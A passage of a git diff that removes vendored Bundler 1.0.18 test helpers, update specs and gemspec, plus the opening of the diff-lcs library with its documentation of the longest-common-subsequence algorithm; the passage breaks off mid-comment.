--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/path.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-module Spec
-  module Path
-    def root
-      @root ||= Pathname.new(File.expand_path("../../..", __FILE__))
-    end
-
-    def tmp(*path)
-      root.join("tmp", *path)
-    end
-
-    def home(*path)
-      tmp.join("home", *path)
-    end
-
-    def default_bundle_path(*path)
-      system_gem_path(*path)
-    end
-
-    def bundled_app(*path)
-      root = tmp.join("bundled_app")
-      FileUtils.mkdir_p(root)
-      root.join(*path)
-    end
-
-    alias bundled_app1 bundled_app
-
-    def bundled_app2(*path)
-      root = tmp.join("bundled_app2")
-      FileUtils.mkdir_p(root)
-      root.join(*path)
-    end
-
-    def vendored_gems(path = nil)
-      bundled_app("vendor/bundle/#{Gem.ruby_engine}/#{Gem::ConfigMap[:ruby_version]}/#{path}")
-    end
-
-    def cached_gem(path)
-      bundled_app("vendor/cache/#{path}.gem")
-    end
-
-    def base_system_gems
-      tmp.join("gems/base")
-    end
-
-    def gem_repo1(*args)
-      tmp("gems/remote1", *args)
-    end
-
-    def gem_repo2(*args)
-      tmp("gems/remote2", *args)
-    end
-
-    def gem_repo3(*args)
-      tmp("gems/remote3", *args)
-    end
-
-    def system_gem_path(*path)
-      tmp("gems/system", *path)
-    end
-
-    def lib_path(*args)
-      tmp("libs", *args)
-    end
-
-    def bundler_path
-      Pathname.new(File.expand_path('../../../lib', __FILE__))
-    end
-
-    extend self
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/platforms.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/platforms.rb
deleted file mode 100644
index 658339ba..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/platforms.rb
+++ /dev/null
@@ -1,53 +0,0 @@
-module Spec
-  module Platforms
-    include Bundler::GemHelpers
-
-    def rb
-      Gem::Platform::RUBY
-    end
-
-    def mac
-      Gem::Platform.new('x86-darwin-10')
-    end
-
-    def java
-      Gem::Platform.new([nil, "java", nil])
-    end
-
-    def linux
-      Gem::Platform.new(['x86', 'linux', nil])
-    end
-
-    def mswin
-      Gem::Platform.new(['x86', 'mswin32', nil])
-    end
-
-    def mingw
-      Gem::Platform.new(['x86', 'mingw32', nil])
-    end
-
-    def all_platforms
-      [rb, java, linux, mswin, mingw]
-    end
-
-    def local
-      generic(Gem::Platform.local)
-    end
-
-    def not_local
-      all_platforms.find { |p| p != generic(Gem::Platform.local) }
-    end
-
-    def local_tag
-      if RUBY_PLATFORM == "java"
-        :jruby
-      else
-        :ruby
-      end
-    end
-
-    def not_local_tag
-      [:ruby, :jruby].find { |tag| tag != local_tag }
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/ruby_ext.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/ruby_ext.rb
deleted file mode 100644
index f1590a73..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/ruby_ext.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-class IO
-  def read_available_bytes(chunk_size = 16384, select_timeout = 0.02)
-    buffer = []
-
-    return "" if closed? || eof?
-    # IO.select cannot be used here due to the fact that it
-    # just does not work on windows
-    while true
-      begin
-        IO.select([self], nil, nil, select_timeout)
-        break if eof? # stop raising :-(
-        buffer << self.readpartial(chunk_size)
-      rescue(EOFError)
-        break
-      end
-    end
-
-    return buffer.join
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/rubygems_ext.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/rubygems_ext.rb
deleted file mode 100644
index 6991f5ec..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/rubygems_ext.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'rubygems/user_interaction'
-
-module Spec
-  module Rubygems
-    def self.setup
-      Gem.clear_paths
-
-      ENV['BUNDLE_PATH'] = nil
-      ENV['GEM_HOME'] = ENV['GEM_PATH'] = Path.base_system_gems.to_s
-      ENV['PATH'] = ["#{Path.root}/bin", "#{Path.system_gem_path}/bin", ENV['PATH']].join(File::PATH_SEPARATOR)
-
-      unless File.exist?("#{Path.base_system_gems}")
-        FileUtils.mkdir_p(Path.base_system_gems)
-        puts "running `gem install rake fakeweb --no-rdoc --no-ri`"
-        `gem install fakeweb --no-rdoc --no-ri`
-        # Rake version has to be consistent for tests to pass
-        `gem install rake --version 0.8.7 --no-rdoc --no-ri`
-        # 3.0.0 breaks 1.9.2 specs
-        puts "running `gem install builder --version 2.1.2 --no-rdoc --no-ri`"
-        `gem install builder --version 2.1.2 --no-rdoc --no-ri`
-      end
-
-      ENV['HOME'] = Path.home.to_s
-
-      Gem::DefaultUserInteraction.ui = Gem::SilentUI.new
-    end
-
-    def gem_command(command, args = "", options = {})
-      if command == :exec && !options[:no_quote]
-        args = args.gsub(/(?=")/, "\\")
-        args = %["#{args}"]
-      end
-      lib  = File.join(File.dirname(__FILE__), '..', '..', 'lib')
-      %x{#{Gem.ruby} -I#{lib} -rubygems -S gem --backtrace #{command} #{args}}.strip
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/rubygems_hax/platform.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/rubygems_hax/platform.rb
deleted file mode 100644
index 183d0801..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/rubygems_hax/platform.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require 'rubygems'
-
-class Gem::Platform
-  @local = new(ENV['BUNDLER_SPEC_PLATFORM']) if ENV['BUNDLER_SPEC_PLATFORM']
-end
-
-if ENV['BUNDLER_SPEC_VERSION']
-  module Bundler
-    VERSION = ENV['BUNDLER_SPEC_VERSION'].dup
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/sudo.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/sudo.rb
deleted file mode 100644
index 3530e126..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/support/sudo.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module Spec
-  module Sudo
-    def self.present?
-      @which_sudo ||= (`which sudo`.chomp rescue '')
-      !@which_sudo.empty?
-    end
-
-    def self.test_sudo?
-      present? && ENV['BUNDLER_SUDO_TESTS']
-    end
-
-    def sudo(cmd)
-      raise "sudo not present" unless Sudo.present?
-      sys_exec("sudo #{cmd}")
-    end
-
-    def chown_system_gems_to_root
-      sudo "chown -R root #{system_gem_path}"
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/gems_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/gems_spec.rb
deleted file mode 100644
index dcc69602..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/gems_spec.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require "spec_helper"
-
-describe "bundle update" do
-  before :each do
-    build_repo2
-
-    install_gemfile <<-G
-      source "file://#{gem_repo2}"
-      gem "activesupport"
-      gem "rack-obama"
-    G
-  end
-
-  describe "with no arguments" do
-    it "updates the entire bundle" do
-      update_repo2 do
-        build_gem "activesupport", "3.0"
-      end
-
-      bundle "update"
-      should_be_installed "rack 1.2", "rack-obama 1.0", "activesupport 3.0"
-    end
-
-    it "doesn't delete the Gemfile.lock file if something goes wrong" do
-      gemfile <<-G
-        source "file://#{gem_repo2}"
-        gem "activesupport"
-        gem "rack-obama"
-        exit!
-      G
-      bundle "update"
-      bundled_app("Gemfile.lock").should exist
-    end
-  end
-
-  describe "with a top level dependency" do
-    it "unlocks all child dependencies that are unrelated to other locked dependencies" do
-      update_repo2 do
-        build_gem "activesupport", "3.0"
-      end
-
-      bundle "update rack-obama"
-      should_be_installed "rack 1.2", "rack-obama 1.0", "activesupport 2.3.5"
-    end
-  end
-
-  describe "with --local option" do
-    it "doesn't hit repo2" do
-      FileUtils.rm_rf(gem_repo2)
-
-      bundle "update --local"
-      out.should_not match(/Fetching source index/)
-    end
-  end
-end
-
-describe "bundle update in more complicated situations" do
-  before :each do
-    build_repo2
-  end
-
-  it "will eagerly unlock dependencies of a specified gem" do
-    install_gemfile <<-G
-      source "file://#{gem_repo2}"
-
-      gem "thin"
-      gem "rack-obama"
-    G
-
-    update_repo2 do
-      build_gem "thin" , '2.0' do |s|
-        s.add_dependency "rack"
-      end
-    end
-
-    bundle "update thin"
-    should_be_installed "thin 2.0", "rack 1.2", "rack-obama 1.0"
-  end
-end
-
-describe "bundle update without a Gemfile.lock" do
-  it "should not explode" do
-    build_repo2
-
-    gemfile <<-G
-      source "file://#{gem_repo2}"
-
-      gem "rack", "1.0"
-    G
-
-    bundle "update"
-
-    should_be_installed "rack 1.0.0"
-  end
-end
-
-describe "bundle update when a gem depends on a newer version of bundler" do
-  before(:each) do
-    build_repo2 do
-      build_gem "rails", "3.0.1" do |s|
-        s.add_dependency "bundler", Bundler::VERSION.succ
-      end
-    end
-
-    gemfile <<-G
-      source "file://#{gem_repo2}"
-      gem "rails", "3.0.1"
-    G
-  end
-
-  it "should not explode" do
-    bundle "update"
-    err.should be_empty
-  end
-
-  it "should explain that bundler conflicted" do
-    bundle "update"
-    out.should_not =~ /In snapshot/
-    out.should =~ /Current Bundler version/
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/git_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/git_spec.rb
deleted file mode 100644
index cd15b5c5..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/git_spec.rb
+++ /dev/null
@@ -1,196 +0,0 @@
-require "spec_helper"
-
-describe "bundle update" do
-  describe "git sources" do
-    it "floats on a branch when :branch is used" do
-      build_git  "foo", "1.0"
-      update_git "foo", :branch => "omg"
-
-      install_gemfile <<-G
-        git "#{lib_path('foo-1.0')}", :branch => "omg" do
-          gem 'foo'
-        end
-      G
-
-      update_git "foo", :branch => "omg" do |s|
-        s.write "lib/foo.rb", "FOO = '1.1'"
-      end
-
-      bundle "update"
-
-      should_be_installed "foo 1.1"
-    end
-
-    it "updates correctly when you have like craziness" do
-      build_lib "activesupport", "3.0", :path => lib_path("rails/activesupport")
-      build_git "rails", "3.0", :path => lib_path("rails") do |s|
-        s.add_dependency "activesupport", "= 3.0"
-      end
-
-      install_gemfile <<-G
-        gem "rails", :git => "#{lib_path('rails')}"
-      G
-
-      bundle "update rails"
-      out.should include("Using activesupport (3.0) from #{lib_path('rails')} (at master)")
-      should_be_installed "rails 3.0", "activesupport 3.0"
-    end
-
-    it "floats on a branch when :branch is used and the source is specified in the update" do
-      build_git  "foo", "1.0", :path => lib_path("foo")
-      update_git "foo", :branch => "omg", :path => lib_path("foo")
-
-      install_gemfile <<-G
-        git "#{lib_path('foo')}", :branch => "omg" do
-          gem 'foo'
-        end
-      G
-
-      update_git "foo", :branch => "omg", :path => lib_path("foo") do |s|
-        s.write "lib/foo.rb", "FOO = '1.1'"
-      end
-
-      bundle "update --source foo"
-
-      should_be_installed "foo 1.1"
-    end
-
-    it "floats on master when updating all gems that are pinned to the source even if you have child dependencies" do
-      build_git "foo", :path => lib_path('foo')
-      build_gem "bar", :to_system => true do |s|
-        s.add_dependency "foo"
-      end
-
-      install_gemfile <<-G
-        gem "foo", :git => "#{lib_path('foo')}"
-        gem "bar"
-      G
-
-      update_git "foo", :path => lib_path('foo') do |s|
-        s.write "lib/foo.rb", "FOO = '1.1'"
-      end
-
-      bundle "update foo"
-
-      should_be_installed "foo 1.1"
-    end
-
-    it "notices when you change the repo url in the Gemfile" do
-      build_git "foo", :path => lib_path("foo_one")
-      build_git "foo", :path => lib_path("foo_two")
-
-      install_gemfile <<-G
-        gem "foo", "1.0", :git => "#{lib_path('foo_one')}"
-      G
-
-      FileUtils.rm_rf lib_path("foo_one")
-
-      install_gemfile <<-G
-        gem "foo", "1.0", :git => "#{lib_path('foo_two')}"
-      G
-
-      err.should be_empty
-      out.should include("Fetching #{lib_path}/foo_two")
-      out.should include("Your bundle is complete!")
-    end
-
-
-    it "fetches tags from the remote" do
-      build_git "foo"
-      @remote = build_git("bar", :bare => true)
-      update_git "foo", :remote => @remote.path
-      update_git "foo", :push => "master"
-
-      install_gemfile <<-G
-        gem 'foo', :git => "#{@remote.path}"
-      G
-
-      # Create a new tag on the remote that needs fetching
-      update_git "foo", :tag => "fubar"
-      update_git "foo", :push => "fubar"
-
-      gemfile <<-G
-        gem 'foo', :git => "#{@remote.path}", :tag => "fubar"
-      G
-
-      bundle "update", :exitstatus => true
-      exitstatus.should == 0
-    end
-
-    describe "with submodules" do
-      before :each do
-        build_gem "submodule", :to_system => true do |s|
-          s.write "lib/submodule.rb", "puts 'GEM'"
-        end
-
-        build_git "submodule", "1.0" do |s|
-          s.write "lib/submodule.rb", "puts 'GIT'"
-        end
-
-        build_git "has_submodule", "1.0" do |s|
-          s.add_dependency "submodule"
-        end
-
-        Dir.chdir(lib_path('has_submodule-1.0')) do
-          `git submodule add #{lib_path('submodule-1.0')} submodule-1.0`
-          `git commit -m "submodulator"`
-        end
-      end
-
-      it "it unlocks the source when submodules is added to a git source" do
-        install_gemfile <<-G
-          git "#{lib_path('has_submodule-1.0')}" do
-            gem "has_submodule"
-          end
-        G
-
-        run "require 'submodule'"
-        out.should eq('GEM')
-
-        install_gemfile <<-G
-          git "#{lib_path('has_submodule-1.0')}", :submodules => true do
-            gem "has_submodule"
-          end
-        G
-
-        run "require 'submodule'"
-        out.should == 'GIT'
-      end
-
-      it "it unlocks the source when submodules is removed from git source" do
-        pending "This would require actually removing the submodule from the clone"
-        install_gemfile <<-G
-          git "#{lib_path('has_submodule-1.0')}", :submodules => true do
-            gem "has_submodule"
-          end
-        G
-
-        run "require 'submodule'"
-        out.should eq('GIT')
-
-        install_gemfile <<-G
-          git "#{lib_path('has_submodule-1.0')}" do
-            gem "has_submodule"
-          end
-        G
-
-        run "require 'submodule'"
-        out.should == 'GEM'
-      end
-    end
-
-    it "errors with a message when the .git repo is gone" do
-      build_git "foo", "1.0"
-
-      install_gemfile <<-G
-        gem "foo", :git => "#{lib_path('foo-1.0')}"
-      G
-
-      lib_path("foo-1.0").join(".git").rmtree
-
-      bundle :update, :expect_err => true
-      out.should include(lib_path("foo-1.0").to_s)
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/source_spec.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/source_spec.rb
deleted file mode 100644
index 6e4d1b32..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/spec/update/source_spec.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-require "spec_helper"
-
-describe "bundle update" do
-  describe "git sources" do
-    before :each do
-      build_repo2
-      @git = build_git "foo", :path => lib_path("foo") do |s|
-        s.executables = "foobar"
-      end
-
-      install_gemfile <<-G
-        source "file://#{gem_repo2}"
-        git "#{lib_path('foo')}" do
-          gem 'foo'
-        end
-        gem 'rack'
-      G
-    end
-
-    it "updates the source" do
-      update_git "foo", :path => @git.path
-
-      bundle "update --source foo"
-
-      in_app_root do
-        run <<-RUBY
-          require 'foo'
-          puts "WIN" if defined?(FOO_PREV_REF)
-        RUBY
-
-        out.should == "WIN"
-      end
-    end
-
-    it "unlocks gems that were originally pulled in by the source" do
-      update_git "foo", "2.0", :path => @git.path
-
-      bundle "update --source foo"
-      should_be_installed "foo 2.0"
-    end
-
-    it "leaves all other gems frozen" do
-      update_repo2
-      update_git "foo", :path => @git.path
-
-      bundle "update --source foo"
-      should_be_installed "rack 1.0"
-    end
-  end
-
-end
diff --git a/vendor/plugins/bundler/specifications/bundler-1.0.18.gemspec b/vendor/plugins/bundler/specifications/bundler-1.0.18.gemspec
deleted file mode 100644
index da1a8cd8..00000000
--- a/vendor/plugins/bundler/specifications/bundler-1.0.18.gemspec
+++ /dev/null
@@ -1,34 +0,0 @@
-# -*- encoding: utf-8 -*-
-
-Gem::Specification.new do |s|
-  s.name = %q{bundler}
-  s.version = "1.0.18"
-
-  s.required_rubygems_version = Gem::Requirement.new(">= 1.3.6") if s.respond_to? :required_rubygems_version=
-  s.authors = [%q{André Arko}, %q{Terence Lee}, %q{Carl Lerche}, %q{Yehuda Katz}]
-  s.date = %q{2011-08-16}
-  s.description = %q{Bundler manages an application's dependencies through its entire life, across many machines, systematically and repeatably}
-  s.email = [%q{andre@arko.net}]
-  s.executables = [%q{bundle}]
-  s.files = [%q{bin/bundle}]
-  s.homepage = %q{http://gembundler.com}
-  s.require_paths = [%q{lib}]
-  s.rubyforge_project = %q{bundler}
-  s.rubygems_version = %q{1.8.8}
-  s.summary = %q{The best way to manage your application's dependencies}
-
-  if s.respond_to? :specification_version then
-    s.specification_version = 3
-
-    if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
-      s.add_development_dependency(%q<ronn>, [">= 0"])
-      s.add_development_dependency(%q<rspec>, [">= 0"])
-    else
-      s.add_dependency(%q<ronn>, [">= 0"])
-      s.add_dependency(%q<rspec>, [">= 0"])
-    end
-  else
-    s.add_dependency(%q<ronn>, [">= 0"])
-    s.add_dependency(%q<rspec>, [">= 0"])
-  end
-end
diff --git a/vendor/plugins/diff/lib/diff/lcs.rb b/vendor/plugins/diff/lib/diff/lcs.rb
deleted file mode 100644
index d4f4d5a8..00000000
--- a/vendor/plugins/diff/lib/diff/lcs.rb
+++ /dev/null
@@ -1,1105 +0,0 @@
-#! /usr/env/bin ruby
-#--
-# Copyright 2004 Austin Ziegler <diff-lcs@halostatue.ca>
-#   adapted from:
-#     Algorithm::Diff (Perl) by Ned Konz <perl@bike-nomad.com>
-#     Smalltalk by Mario I. Wolczko <mario@wolczko.com>
-#   implements McIlroy-Hunt diff algorithm
-#
-# This program is free software. It may be redistributed and/or modified
-# under the terms of the GPL version 2 (or later), the Perl Artistic
-# licence, or the Ruby licence.
-# 
-# $Id: lcs.rb,v 1.9 2004/10/17 20:31:10 austin Exp $
-#++
-
-module Diff
-    # = Diff::LCS 1.1.2
-    # Computes "intelligent" differences between two sequenced Enumerables.
-    # This is an implementation of the McIlroy-Hunt "diff" algorithm for
-    # Enumerable objects that include Diffable.
-    #
-    # Based on Mario I. Wolczko's <mario@wolczko.com> Smalltalk version
-    # (1.2, 1993) and Ned Konz's <perl@bike-nomad.com> Perl version
-    # (Algorithm::Diff).
-    #
-    # == Synopsis
-    #   require 'diff/lcs'
-    #
-    #   seq1 = %w(a b c e h j l m n p)
-    #   seq2 = %w(b c d e f j k l m r s t)
-    #
-    #   lcs = Diff::LCS.LCS(seq1, seq2)
-    #   diffs = Diff::LCS.diff(seq1, seq2)
-    #   sdiff = Diff::LCS.sdiff(seq1, seq2)
-    #   seq = Diff::LCS.traverse_sequences(seq1, seq2, callback_obj)
-    #   bal = Diff::LCS.traverse_balanced(seq1, seq2, callback_obj)
-    #   seq2 == Diff::LCS.patch(seq1, diffs)
-    #   seq2 == Diff::LCS.patch!(seq1, diffs)
-    #   seq1 == Diff::LCS.unpatch(seq2, diffs)
-    #   seq1 == Diff::LCS.unpatch!(seq2, diffs)
-    #   seq2 == Diff::LCS.patch(seq1, sdiff)
-    #   seq2 == Diff::LCS.patch!(seq1, sdiff)
-    #   seq1 == Diff::LCS.unpatch(seq2, sdiff)
-    #   seq1 == Diff::LCS.unpatch!(seq2, sdiff)
-    #
-    # Alternatively, objects can be extended with Diff::LCS:
-    #
-    #   seq1.extend(Diff::LCS)
-    #   lcs = seq1.lcs(seq2)
-    #   diffs = seq1.diff(seq2)
-    #   sdiff = seq1.sdiff(seq2)
-    #   seq = seq1.traverse_sequences(seq2, callback_obj)
-    #   bal = seq1.traverse_balanced(seq2, callback_obj)
-    #   seq2 == seq1.patch(diffs)
-    #   seq2 == seq1.patch!(diffs)
-    #   seq1 == seq2.unpatch(diffs)
-    #   seq1 == seq2.unpatch!(diffs)
-    #   seq2 == seq1.patch(sdiff)
-    #   seq2 == seq1.patch!(sdiff)
-    #   seq1 == seq2.unpatch(sdiff)
-    #   seq1 == seq2.unpatch!(sdiff)
-    # 
-    # Default extensions are provided for Array and String objects through
-    # the use of 'diff/lcs/array' and 'diff/lcs/string'.
-    #
-    # == Introduction (by Mark-Jason Dominus)
-    # 
-    # <em>The following text is from the Perl documentation. The only
-    # changes have been to make the text appear better in Rdoc</em>.
-    #
-    # I once read an article written by the authors of +diff+; they said
-    # that they hard worked very hard on the algorithm until they found the
-    # right one.
-    #
-    # I think what they ended up using (and I hope someone will correct me,
-    # because I am not very confident about this) was the `longest common
-    # subsequence' method. In the LCS problem, you have two sequences of
-    # items:
-    #
-    #    a b c d f g h j q z
-    #    a b c d e f g i j k r x y z
-    #
-    # and you want to find the longest sequence of items that is present in
-    # both original sequences in the same order. That is, you want to find a
-    # new sequence *S* which can be obtained from the first sequence by
-    # deleting some items, and from the second sequence by deleting other
-    # items. You also want *S* to be as long as possible. In this case *S*
-    # is:
-    # 
-    #    a b c d f g j z
-    #
-    # From there it's only a small step to get diff-like output:
-    #
-    #    e   h i   k   q r x y
-    #    +   - +   +   - + + +
-    #
-    # This module solves the LCS problem. It also includes a canned function
-    # to generate +diff+-like output.
-    #
-    # It might seem from the example above that the LCS of two sequences is
-    # always pretty obvious, but that's not always the case, especially when
-    # the two sequences have many repeated elements. For example, consider
-    #
-    #    a x b y c z p d q
-    #    a b c a x b y c z
-    #
-    # A naive approach might start by matching up the +a+ and +b+ that
-    # appear at the beginning of each sequence, like this:
-    # 
-    #    a x b y c         z p d q
-    #    a   b   c a b y c z
-    #
-    # This finds the common subsequence +a b c z+. But actually, the LCS is
-    # +a x b y c z+:
-    #
-    #          a x b y c z p d q
-    #    a b c a x b y c z
-    #
-    # == Author
-    # This version is by Austin Ziegler <diff-lcs@halostatue.ca>.
-    #
-    # It is based on the Perl Algorithm::Diff by Ned Konz
-    # <perl@bike-nomad.com>, copyright &copy; 2000 - 2002 and the Smalltalk
-    # diff version by Mario I. Wolczko <mario@wolczko.com>, copyright &copy;
-    # 1993. Documentation includes work by Mark-Jason Dominus.
-    #
-    # == Licence
-    # Copyright &copy; 2004 Austin Ziegler
-    # This program is free software; you can redistribute it and/or modify it
-    # under the same terms as Ruby, or alternatively under the Perl Artistic
-    # licence.
-    #
-    # == Credits
-    # Much of the documentation is taken directly from the Perl
-    # Algorithm::Diff implementation and was written originally by Mark-Jason
-    # Dominus <mjd-perl-diff@plover.com> and later by Ned Konz. The basic Ruby
-    # implementation was re-ported from the Smalltalk implementation, available
-    # at ftp://st.cs.uiuc.edu/pub/Smalltalk/MANCHESTER/manchester/4.0/diff.st
-    #
-    # #sdiff and #traverse_balanced were written for the Perl version by Mike
-    # Schilli <m@perlmeister.com>.
-    #
-    # "The algorithm is described in <em>A Fast Algorithm for Computing Longest
-    # Common Subsequences</em>, CACM, vol.20, no.5, pp.350-353, May 1977, with
-    # a few minor improvements to improve the speed."
-  module LCS
-    VERSION = '1.1.2'
-  end
-end
-
-require 'diff/lcs/callbacks'
-
-module Diff::LCS
-    # Returns an Array containing the longest common subsequence(s) between
-    # +self+ and +other+. See Diff::LCS#LCS.
-    #
-    #   lcs = seq1.lcs(seq2)
-  def lcs(other, &block) #:yields self[ii] if there are matched subsequences:
-    Diff::LCS.LCS(self, other, &block)
-  end
-
-    # Returns the difference set between +self+ and +other+. See
-    # Diff::LCS#diff.
-  def diff(other, callbacks = nil, &block)
-    Diff::LCS::diff(self, other, callbacks, &block)
-  end
-
-    # Returns the balanced ("side-by-side") difference set between +self+ and
-    # +other+. See Diff::LCS#sdiff.
-  def sdiff(other, callbacks = nil, &block)
-    Diff::LCS::sdiff(self, other, callbacks, &block)
-  end
-
-    # Traverses the discovered longest common subsequences between +self+ and
-    # +other+. See Diff::LCS#traverse_sequences.
-  def traverse_sequences(other, callbacks = nil, &block)
-    traverse_sequences(self, other, callbacks || Diff::LCS::YieldingCallbacks,
-                       &block)
-  end
-
-    # Traverses the discovered longest common subsequences between +self+ and
-    # +other+ using the alternate, balanced algorithm. See
-    # Diff::LCS#traverse_balanced.
-  def traverse_balanced(other, callbacks = nil, &block)
-    traverse_balanced(self, other, callbacks || Diff::LCS::YieldingCallbacks,
-                      &block)
-  end
-
-    # Attempts to patch a copy of +self+ with the provided +patchset+. See
-    # Diff::LCS#patch.
-  def patch(patchset)
-    Diff::LCS::patch(self.dup, patchset)
-  end
-
-    # Attempts to unpatch a copy of +self+ with the provided +patchset+.
-    # See Diff::LCS#patch.
-  def unpatch(patchset)
-    Diff::LCS::unpatch(self.dup, patchset)
-  end
-
-    # Attempts to patch +self+ with the provided +patchset+. See
-    # Diff::LCS#patch!. Does no autodiscovery.
-  def patch!(patchset)
-    Diff::LCS::patch!(self, patchset)
-  end
-
-    # Attempts to unpatch +self+ with the provided +patchset+. See
-    # Diff::LCS#unpatch. Does no autodiscovery.
-  def unpatch!(patchset)
-    Diff::LCS::unpatch!(self, patchset)
-  end
-end
-
-module Diff::LCS
-  class << self
-      # Given two sequenced Enumerables, LCS returns an Array containing their
-      # longest common subsequences.
-      #
-      #   lcs = Diff::LCS.LCS(seq1, seq2)
-      #
-      # This array whose contents is such that:
-      #
-      #   lcs.each_with_index do |ee, ii|
-      #     assert(ee.nil? || (seq1[ii] == seq2[ee]))
-      #   end
-      #
-      # If a block is provided, the matching subsequences will be yielded from
-      # +seq1+ in turn and may be modified before they are placed into the
-      # returned Array of subsequences.
-    def LCS(seq1, seq2, &block) #:yields seq1[ii] for each matched:
-      matches = Diff::LCS.__lcs(seq1, seq2)
-      ret = []
-      matches.each_with_index do |ee, ii|
-        unless matches[ii].nil?
-          if block_given?
-            ret << (yield seq1[ii])
-          else
-            ret << seq1[ii]
-          end
-        end
-      end
-      ret
-    end
-
-      # Diff::LCS.diff computes the smallest set of additions and deletions
-      # necessary to turn the first sequence into the second, and returns a
-      # description of these changes.
-      # 
-      # See Diff::LCS::DiffCallbacks for the default behaviour. An alternate
-      # behaviour may be implemented with Diff::LCS::ContextDiffCallbacks.
-      # If a Class argument is provided for +callbacks+, #diff will attempt
-      # to initialise it. If the +callbacks+ object (possibly initialised)
-      # responds to #finish, it will be called.
-    def diff(seq1, seq2, callbacks = nil, &block) # :yields diff changes:
-      callbacks ||= Diff::LCS::DiffCallbacks
-      if callbacks.kind_of?(Class)
-        cb = callbacks.new rescue callbacks
-        callbacks = cb
-      end
-      traverse_sequences(seq1, seq2, callbacks)
-      callbacks.finish if callbacks.respond_to?(:finish)
-
-      if block_given?
-        res = callbacks.diffs.map do |hunk|
-          if hunk.kind_of?(Array)
-            hunk = hunk.map { |block| yield block }
-          else
-            yield hunk
-          end
-        end
-        res
-      else
-        callbacks.diffs
-      end
-    end
-
-      # Diff::LCS.sdiff computes all necessary components to show two sequences
-      # and their minimized differences side by side, just like the Unix
-      # utility <em>sdiff</em> does:
-      #
-      #     old        <     -
-      #     same             same
-      #     before     |     after
-      #     -          >     new
-      #
-      # See Diff::LCS::SDiffCallbacks for the default behaviour. An alternate
-      # behaviour may be implemented with Diff::LCS::ContextDiffCallbacks. If
-      # a Class argument is provided for +callbacks+, #diff will attempt to
-      # initialise it. If the +callbacks+ object (possibly initialised)
-      # responds to #finish, it will be called.
-    def sdiff(seq1, seq2, callbacks = nil, &block) #:yields diff changes:
-      callbacks ||= Diff::LCS::SDiffCallbacks
-      if callbacks.kind_of?(Class)
-        cb = callbacks.new rescue callbacks
-        callbacks = cb
-      end
-      traverse_balanced(seq1, seq2, callbacks)
-      callbacks.finish if callbacks.respond_to?(:finish)
-
-      if block_given?
-        res = callbacks.diffs.map do |hunk|
-          if hunk.kind_of?(Array)
-            hunk = hunk.map { |block| yield block }
-          else
-            yield hunk
-          end
-        end
-        res
-      else
-        callbacks.diffs
-      end
-    end
-
-      # Diff::LCS.traverse_sequences is the most general facility provided by this
-      # module; +diff+ and +LCS+ are implemented as calls to it.
-      #
-      # The arguments to #traverse_sequences are the two sequences to
-      # traverse, and a callback object, like this:
-      #
-      #   traverse_sequences(seq1, seq2, Diff::LCS::ContextDiffCallbacks.new)
-      #
-      # #diff is implemented with #traverse_sequences.
-      #
-      # == Callback Methods
-      # Optional callback methods are <em>emphasized</em>.
-      #
-      # callbacks#match::               Called when +a+ and +b+ are pointing
-      #                                 to common elements in +A+ and +B+.
-      # callbacks#discard_a::           Called when +a+ is pointing to an
-      #                                 element not in +B+.
-      # callbacks#discard_b::           Called when +b+ is pointing to an
-      #                                 element not in +A+.
-      # <em>callbacks#finished_a</em>:: Called when +a+ has reached the end of
-      #                                 sequence +A+.
-      # <em>callbacks#finished_b</em>:: Called when +b+ has reached the end of
-      #                                 sequence +B+.
-      #
-      # == Algorithm
-      #       a---+
-      #           v
-      #       A = a b c e h j l m n p
-      #       B = b c d e f j k l m r s t
-      #           ^
-      #       b---+
-      #
-      # If there are two arrows (+a+ and +b+) pointing to elements of
-      # sequences +A+ and +B+, the arrows will initially point to the first
-      # elements of their respective sequences. #traverse_sequences will
-      # advance the arrows through the sequences one element at a time,
-      # calling a method on the user-specified callback object before each
-      # advance. It will advance the arrows in such a way that if there are
-      # elements <tt>A[ii]</tt> and <tt>B[jj]</tt> which are both equal and
-      # part of the longest common subsequence, there will be some moment
-      # during the execution of #traverse_sequences when arrow +a+ is pointing
-      # to <tt>A[ii]</tt> and arrow +b+ is pointing to <tt>B[jj]</tt>. When
-      # this happens, #traverse_sequences will call <tt>callbacks#match</tt>
-      # and then it will advance both arrows.
-      #
-      # Otherwise, one of the arrows is pointing to an element of its sequence
-      # that is not part of the longest common subsequence.
-      # #traverse_sequences will advance that arrow and will call
